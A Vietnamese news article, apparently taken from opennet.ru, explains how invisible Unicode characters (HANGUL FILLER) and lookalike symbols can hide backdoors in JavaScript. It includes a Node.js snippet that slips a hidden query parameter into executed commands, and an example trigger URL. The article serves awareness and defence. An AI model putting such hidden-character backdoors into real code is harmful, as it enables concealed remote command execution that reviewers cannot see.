Sử dụng các ký tự unicode vô hình để ẩn các hành động trong mã JavaScript

Theo phương pháp tấn công Nguồn Trojan, dựa trên việc sử dụng các ký tự Unicode làm thay đổi thứ tự hiển thị của văn bản hai chiều, một kỹ thuật khác để giới thiệu các hành động ẩn đã được xuất bản, áp dụng cho mã JavaScript. Phương pháp mới dựa trên việc sử dụng ký tự unicode “ㅤ” (mã 0x3164, “HANGUL FILLER”), thuộc loại chữ cái nhưng không có nội dung hiển thị. Danh mục Unicode chứa ký tự này đã được cho phép kể từ đặc tả ECMAScript 2015 để sử dụng trong tên biến JavaScript, giúp tạo các biến vô hình hoặc biến mới không thể phân biệt được với các biến khác trong các trình soạn thảo mã phổ biến như Notepad++ và VS Code.

Ví dụ: mã cho nền tảng Node.js được đưa ra, trong đó, sử dụng một biến bao gồm một ký tự duy nhất “ㅤ”, một cửa hậu bị ẩn cho phép thực thi mã do kẻ tấn công chỉ định: app.get('/ network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // thực tế là nó ghi “const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // dấu phẩy được theo sau bởi ký tự \u3164 ];

Thoạt nhìn, chỉ có giá trị hết thời gian chờ được truyền qua tham số bên ngoài và mảng chứa các lệnh được thực thi chứa một danh sách cố định vô hại. Nhưng trên thực tế, sau biến hết thời gian chờ, giá trị của một biến vô hình khác có mã ký tự \u3164 được gán, giá trị này cũng được thay thế vào mảng lệnh thực thi. Do đó, nếu có thiết kế như vậy, kẻ tấn công có thể gửi yêu cầu như “https://host:8080/network_health?%E3%85%A4=command” để kích hoạt cửa sau và thực thi mã của chúng.

Một ví dụ khác là ký tự "ǃ" (ALVEOLAR CLICK), có thể được sử dụng để tạo vẻ ngoài biểu thị dấu chấm than. Ví dụ: biểu thức “if(environmentǃ=ENV_PROD){” khi được thực thi trong Node.js 14 sẽ luôn đúng, vì nó không kiểm tra sự khác biệt mà gán giá trị của ENV_PROD cho biến “environmentǃ”. Các ký tự unicode gây hiểu lầm khác bao gồm "/", "−", "+", "⩵", "❨", "⫽", "꓿" và "∗".

Nguồn: opennet.ru

Thêm một lời nhận xét